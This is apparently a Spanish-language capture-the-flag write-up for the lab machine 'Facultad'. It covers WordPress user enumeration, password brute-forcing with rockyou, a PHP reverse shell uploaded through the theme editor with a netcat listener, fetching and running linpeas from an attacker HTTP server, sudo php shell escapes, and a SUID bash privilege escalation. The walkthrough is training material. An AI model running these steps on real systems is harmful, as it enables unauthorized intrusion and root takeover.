Descripción de la máquina
La máquina Facultad es un reto CTF linux de dificultad fácil enfocado en enumeración, explotación web y escalada de privilegios.
Se realizan las siguientes tareas para su resolución:
- Detección de CMS en sitio web.
- Enumeración de usuarios en la aplicación web.
- Carga de shell reversa a través del gestor de plantillas.
- Identificación y análisis de archivos ocultos o cifrados.
- Escalada final a root mediante abuso de script ejecutable con privilegios elevados.
Enumeración
Enumeración de puertos
Comenzamos la resolución de la máquina Facultad realizando la enumeración de los servicios disponibles.
nmap -p- -Pn -n --min-rate 2500 192.168.1.16

Se han enumerado los puertos 22 y 80 abiertos en la máquina Facultad. Continuamos con la enumeración profunda de los servicios encontrados.
nmap -p22,80 -sVC -Pn -n 192.168.1.16

Enumeración Web
Accedemos al sitio Web corriendo en el puerto 80.

Enumeramos directorios y archivos.
dirsearch -u http://192.168.1.16/ -i 200,301

Vemos el contenido del directorio /images

En el directorio /education parece que está corriendo un CMS WordPress

Sabiendo esto, con la herramienta WPScan vamos a enuemrar este sitio Web.
wpscan --url http://192.168.1.16/education/ -e u

Localizamos el usuario «facultad»
También realizamos la enumeración manual de usuarios:
http://192.168.1.16/education/?author=1

Nombres de usuario: facultad, Facultad
Vamos a tratar de localizar credenciales para los usuarios que hemos localizado.
wpscan --url http://192.168.1.16/education/ --usernames Facultad, facultad --passwords /home/kali/Downloads/rockyou.txt

- facultad: asdfghjkl
- Facultad: asdfghjkl
Acceso al equipo
Una vez obtenidas las credenciales, vamos a tratar de iniciar sesión en el panel de administración.

Registramos el dominio en el archivo /etc/hosts



Analizando el sitio Web, encontramos una funcionalidad de gestión para las templates de WP. Vamos a tratar de cargar una reverse Shell PHP en el gestor. Utilizaremos la reverse Shell de Pentest Monkey.
https://www.revshells.com/


Vamos a cargar la shell PHP en el administrador de plantillas de WordPress.


Ya está subido el archivo al servidor Web. Accedemos al siguiente sitio Web para activar la shell. http://facultad.thl/educacion/shell.php
Pero antes configuraremos un oyente nc en nuestra máquina de ataque.
nc -lnvp 1234

Obtenemos acceso al sitio Web

En el directorio /home/vivian localizamos la flag user.txt
Pivotando a usuario gabri
Comenzamos la enumeración de posibles vectores de elevación de privilegios consultando binarios que se pueden ejecutar por usuarios estandar con permisos elevados. en este caso www-data puede ejecutar comandos como usuario gabri.
sudo -l


Comprobamos que el usuario wwa-data puede ejecutar php con privilegios de usuario gabri. Vamos a investigar como aprovechar este vector para pivotar de usuario.

sudo -u gabri php -r "system('/bin/bash');"

Pivotando a usuario vivian
Descargamos la herramienta linpeas
Y la transferimos al objetivo utilizando un servidor http pyhon.
python3 -m http.server
Y en la máquina objetivo en el directorio /tmp
wget 192.168.1.11:8000/linpeas.sh
chmod +x linpeas.sh
./linepas.sh
Localizamos un directorio interesante


Y en el directorio encontramos un archivo .password_vivian.bf

En el archivo anterior encontramos un cifrado, posiblemente brainfuck.
Vamos a tratar de descifrarlo.

Obtenemos la contraseña posiblemente del usuario vivian

Obtenemos acceso al sistema como usuario Vivian.
Elevación de privilegios
Si volvemos a ejecutar sudo -l, comprobamos que el usuario vivian puede ejecutar un script como usuario root.

Vamos a comprobar si podemos modificar el archivo.

Tenemos permisos de lectura sobre el archivo.
Vamos a sobreescribir el fichero para dar SUID a bash para poder convertirnos en Root.
echo "chmod u+s /bin/bash" > /opt/vivian/script.sh

Una vez que modificamos el archivo script.sh y lo ejecutamos como sudo, otorgamos el bit SUID al bianrio bash. Para elevar privilegios utilziando bash:

Y ya obtendremos permisos elevados en el sistema.

Y obtendremos la flag root en el directorio /root.
No responses yet